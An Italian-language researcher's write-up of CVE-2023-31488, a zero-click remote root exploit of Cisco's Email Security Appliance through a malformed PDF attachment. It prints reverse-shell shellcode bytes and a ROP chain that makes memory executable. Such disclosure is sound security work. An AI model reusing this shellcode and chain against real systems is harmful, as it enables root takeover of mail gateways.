Cisco Email Security Appliance: Email a RCE zero-click come root - Esecuzione di codice remoto / Corruzione della memoria / Catena ROP
Ricercatore di sicurezza: ly1g3, ly1g3[at]tuta.io
Impronta GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Panoramica: Da email a RCE a zero click come root - Remote Code Execution/Memory Corruption/ROP-chain
CVE: CVE-2023-31488
Cronologia:
Durante il fuzzing del Cisco Email Security Appliance (ESA), ho scoperto una vulnerabilità in Lexmark Perceptive Filters, utilizzato dall'ESA per la sanificazione dei dati degli allegati email, che porta a RCE tramite email. Il crash si verifica durante l'analisi di un allegato PDF modificato. Alterando un ID di un oggetto PDF a due cifre, ad esempio:
Ad esempio:
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Modificando parte dell'ID da 13 a qualcos'altro (come uno spazio) si ottiene:
1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Inviando questo PDF modificato in una email al Cisco ESA si causa un crash da segmentation fault in libISYSpdf6.so. Il crash è dovuto al fatto che r14 contiene dati ASCII.
Un'ispezione più attenta mostra che questi dati provengono dal contenuto dell'allegato PDF sotto il nostro controllo. Il valore di r14 è Rect.
Test modificando Rect in AAAA.
Poiché il valore di r14 viene caricato da dati nel PDF, possiamo modificarlo per puntare a un indirizzo di memoria valido. Dopo questa regolazione, si verifica un altro crash a causa di dati non validi in RAX. Anche questi dati sono ASCII dal PDF.
Modifichiamo il PDF in modo che anche rax punti a un indirizzo reale e proseguiamo.
Si verifica un nuovo crash; ora rsi contiene dati ASCII dal PDF.
Modifichiamo nuovamente il PDF per caricare un indirizzo di memoria reale.
Finalmente arriviamo a una parte di codice molto interessante. Dove controlliamo rdi, che viene utilizzato per caricare un valore in rax. L'istruzione finale in questa sequenza è call rax. Stiamo facendo buoni progressi verso l'ottenimento di capacità di esecuzione di codice.
Ancora una volta entriamo nell'editor esadecimale e modifichiamo il valore caricato in rdi.
Ora abbiamo un modo limitato di esecuzione del codice e possiamo saltare a un singolo indirizzo. Poiché ASLR non è presente, trovare indirizzi di memoria è facile. Controlliamo anche rdi e quindi utilizziamo il gadget ROP iniziale libISYSshared.so: push rdi; pop rsp; xor eax, per spostare rdi in rsp e controllare lo stack. Puntiamo lo stack a un'area che controlliamo nella regione di memoria del PDF con uno stack personalizzato preparato con più gadget ROP.
Un shellcode di reverse shell per FreeBSD generato da msfvenom viene inserito nella regione di memoria del PDF. Ma poiché la memoria non è eseguibile, dobbiamo prima renderla eseguibile.
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
Poiché a questo punto controlliamo lo stack, questo può essere fatto con la seguente catena ROP per chiamare mmap e impostare la regione di memoria dello shellcode come RWX.
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
Dopo che mmap viene chiamato, call rsp; eseguirà il NOP-sled del nostro shellcode poiché l'indirizzo dello shellcode è il successivo nel nostro stack personalizzato. Lo shellcode è una reverse shell generata da msfvenom.
Una cosa interessante è che questo codice viene eseguito prima di qualsiasi scansione antivirus statica, quindi la reverse shell standard di metasploit funzionerà perfettamente.
Possiamo utilizzare il POC qui sotto per creare un PDF funzionante. Dopodiché lo inviamo semplicemente in una email all'ESA per ottenere RCE. Vedi le mie altre vulnerabilità per l'escalation dei privilegi.
E così otteniamo una shell remota sull'ESA:
Questo è stato un progetto divertente che mi ha insegnato molto sulle vulnerabilità di memory corruption. Mostra anche quanto sia buona la protezione "moderna" come ASLR, ma anche che si possono ancora trovare sistemi senza ASLR là fuori.
Attacco di overflow su ESA (Cisco Secure Email). Remote Code Execution come root.
Inviando un file PDF appositamente creato, un overflow consente a un attaccante di ottenere Remote Code Execution arbitrario sull'ESA e su altri prodotti che utilizzano Lexmark Perceptive Filters.
Questo attacco di overflow permette all'attaccante di ottenere il controllo su un'istruzione call rax, rendendo banale passare a esecuzione di codice arbitrario poiché sull'ESA non viene utilizzato ASLR. Il codice viene eseguito come root.